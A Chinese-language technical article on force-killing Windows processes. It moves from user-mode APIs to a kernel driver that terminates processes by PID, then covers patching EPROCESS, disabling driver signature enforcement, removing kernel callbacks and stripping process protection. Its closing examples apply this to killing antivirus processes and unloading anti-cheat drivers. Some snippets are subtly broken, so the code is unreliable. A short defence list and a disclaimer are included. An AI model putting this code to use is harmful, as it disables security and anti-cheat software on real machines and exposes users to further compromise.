浅谈进程强杀
字数 1018 2025-08-07 08:22:25

浅谈Windows进程强杀技术

1. Windows权限级别基础

Windows操作系统采用特权级别保护机制,分为四个环(Ring0-Ring3):

  • Ring0(内核模式):最高权限级别,操作系统内核运行于此
  • Ring3(用户模式):普通应用程序运行级别,权限受限
  • Ring1和Ring2在Windows中未使用

2. 进程终止的基本方法

2.1 用户模式终止方法

TerminateProcess函数

BOOL TerminateProcess(
  HANDLE hProcess,
  UINT   uExitCode
);
  • 需要PROCESS_TERMINATE访问权限
  • 无法终止系统关键进程和权限更高的进程

其他用户模式API

  • ExitProcess:终止当前进程
  • CreateRemoteThread + ExitProcess:远程线程注入终止

2.2 内核模式终止方法

当用户模式API失效时,需要借助内核模式技术:

3. 内核模式进程终止技术

3.1 驱动开发基础

所需工具

  • Windows Driver Kit (WDK)
  • Visual Studio
  • 测试签名或正式签名

基本驱动结构

#include <ntddk.h>

NTSTATUS DriverEntry(PDRIVER_OBJECT DriverObject, PUNICODE_STRING RegistryPath)
{
    // 驱动初始化代码
    return STATUS_SUCCESS;
}

3.2 关键内核API

PsLookupProcessByProcessId

NTSTATUS PsLookupProcessByProcessId(
  HANDLE    ProcessId,
  PEPROCESS *Process
);
  • 通过PID获取EPROCESS结构

ZwTerminateProcess

NTSTATUS ZwTerminateProcess(
  HANDLE   ProcessHandle,
  NTSTATUS ExitStatus
);
  • 内核模式下的进程终止函数

3.3 完整驱动实现示例

#include <ntddk.h>

NTSTATUS TerminateProcessByPid(HANDLE pid)
{
    PEPROCESS Process;
    NTSTATUS status = PsLookupProcessByProcessId(pid, &Process);
    
    if (NT_SUCCESS(status)) {
        HANDLE hProcess;
        status = ObOpenObjectByPointer(Process, OBJ_KERNEL_HANDLE, NULL, 
                                      PROCESS_ALL_ACCESS, *PsProcessType, 
                                      KernelMode, &hProcess);
        if (NT_SUCCESS(status)) {
            status = ZwTerminateProcess(hProcess, STATUS_SUCCESS);
            ZwClose(hProcess);
        }
        ObDereferenceObject(Process);
    }
    
    return status;
}

NTSTATUS DriverUnload(PDRIVER_OBJECT DriverObject)
{
    DbgPrint("Driver Unloaded\n");
    return STATUS_SUCCESS;
}

NTSTATUS DriverEntry(PDRIVER_OBJECT DriverObject, PUNICODE_STRING RegistryPath)
{
    DriverObject->DriverUnload = DriverUnload;
    DbgPrint("Driver Loaded\n");
    
    // 示例:终止PID为1234的进程
    TerminateProcessByPid((HANDLE)1234);
    
    return STATUS_SUCCESS;
}

4. 高级进程终止技术

4.1 直接操作EPROCESS

通过修改EPROCESS结构中的关键字段强制终止进程:

PEPROCESS Process;
PsLookupProcessByProcessId(pid, &Process);

// 设置退出状态
*(LONG*)((ULONG_PTR)Process + ExitStatusOffset) = STATUS_SUCCESS;

// 设置退出时间
*(LARGE_INTEGER*)((ULONG_PTR)Process + ExitTimeOffset) = KeQueryInterruptTime();

// 修改进程状态
*(UCHAR*)((ULONG_PTR)Process + ProcessFlagsOffset) |= PSF_PROCESS_EXIT;

4.2 内存清零技术

通过清零进程关键内存区域强制终止:

PVOID baseAddress = PsGetProcessSectionBaseAddress(Process);
SIZE_T regionSize = 0;
PMDL mdl = IoAllocateMdl(baseAddress, PAGE_SIZE, FALSE, FALSE, NULL);
MmProbeAndLockPages(mdl, KernelMode, IoReadAccess);
RtlZeroMemory(baseAddress, PAGE_SIZE);
MmUnlockPages(mdl);
IoFreeMdl(mdl);

5. 绕过进程保护机制

5.1 禁用回调通知

// 移除进程创建通知回调
PsSetCreateProcessNotifyRoutineEx(RemoveProcessNotifyRoutine, TRUE);

// 移除线程创建通知回调
PsRemoveCreateThreadNotifyRoutine(ThreadNotifyRoutine);

5.2 修改保护标志

// 关闭DSE(驱动签名强制)
ULONG g_CiOptions = GetCiOptionsAddress();
WriteProtectedULONG(g_CiOptions, g_CiOptions & ~0x8);

// 修改进程保护标志
ULONG protection = *(PULONG)((ULONG_PTR)Process + ProtectionOffset);
protection = 0;
WriteProtectedULONG((ULONG_PTR)Process + ProtectionOffset, protection);

6. 注意事项与防御措施

6.1 开发注意事项

  • 需要处理各种异常情况(无效PID、权限不足等)
  • 注意内存管理和对象引用计数
  • 考虑系统稳定性影响

6.2 防御此类攻击的方法

  • 启用PatchGuard(内核补丁保护)
  • 使用受保护的进程(Protected Process)
  • 实施驱动签名验证
  • 监控异常进程终止行为

7. 实际应用案例

7.1 对抗杀毒软件自保护

// 枚举杀软进程
PEPROCESS process;
PsLookupProcessByProcessId(avPid, &process);

// 检查并绕过其保护机制
if (IsProtectedProcess(process)) {
    DisableProcessProtection(process);
}

// 终止进程
TerminateProcessByPid(avPid);

7.2 游戏反作弊绕过

// 查找反作弊驱动
PDRIVER_OBJECT acDriver;
UNICODE_STRING driverName = RTL_CONSTANT_STRING(L"\\Driver\\AntiCheat");
ObReferenceObjectByName(&driverName, OBJ_CASE_INSENSITIVE, NULL, 0, 
                       *IoDriverObjectType, KernelMode, NULL, (PVOID*)&acDriver);

// 卸载驱动
IoDeleteDriver(acDriver);

8. 总结

Windows进程强杀技术从用户模式到内核模式涉及多个层次:

  1. 用户模式API受限较多,无法终止高权限进程
  2. 内核模式驱动开发提供了完全控制能力
  3. 高级技术包括直接内存操作和回调绕过
  4. 实际应用需要考虑对抗和防御措施

此类技术应仅用于合法研究和防御目的,滥用可能导致系统不稳定或法律问题。

浅谈Windows进程强杀技术 1. Windows权限级别基础 Windows操作系统采用特权级别保护机制,分为四个环(Ring0-Ring3): Ring0(内核模式) :最高权限级别,操作系统内核运行于此 Ring3(用户模式) :普通应用程序运行级别,权限受限 Ring1和Ring2在Windows中未使用 2. 进程终止的基本方法 2.1 用户模式终止方法 TerminateProcess函数 : 需要PROCESS_ TERMINATE访问权限 无法终止系统关键进程和权限更高的进程 其他用户模式API : ExitProcess :终止当前进程 CreateRemoteThread + ExitProcess :远程线程注入终止 2.2 内核模式终止方法 当用户模式API失效时,需要借助内核模式技术: 3. 内核模式进程终止技术 3.1 驱动开发基础 所需工具 : Windows Driver Kit (WDK) Visual Studio 测试签名或正式签名 基本驱动结构 : 3.2 关键内核API PsLookupProcessByProcessId : 通过PID获取EPROCESS结构 ZwTerminateProcess : 内核模式下的进程终止函数 3.3 完整驱动实现示例 4. 高级进程终止技术 4.1 直接操作EPROCESS 通过修改EPROCESS结构中的关键字段强制终止进程: 4.2 内存清零技术 通过清零进程关键内存区域强制终止: 5. 绕过进程保护机制 5.1 禁用回调通知 5.2 修改保护标志 6. 注意事项与防御措施 6.1 开发注意事项 需要处理各种异常情况(无效PID、权限不足等) 注意内存管理和对象引用计数 考虑系统稳定性影响 6.2 防御此类攻击的方法 启用PatchGuard(内核补丁保护) 使用受保护的进程(Protected Process) 实施驱动签名验证 监控异常进程终止行为 7. 实际应用案例 7.1 对抗杀毒软件自保护 7.2 游戏反作弊绕过 8. 总结 Windows进程强杀技术从用户模式到内核模式涉及多个层次: 用户模式API受限较多,无法终止高权限进程 内核模式驱动开发提供了完全控制能力 高级技术包括直接内存操作和回调绕过 实际应用需要考虑对抗和防御措施 此类技术应仅用于合法研究和防御目的,滥用可能导致系统不稳定或法律问题。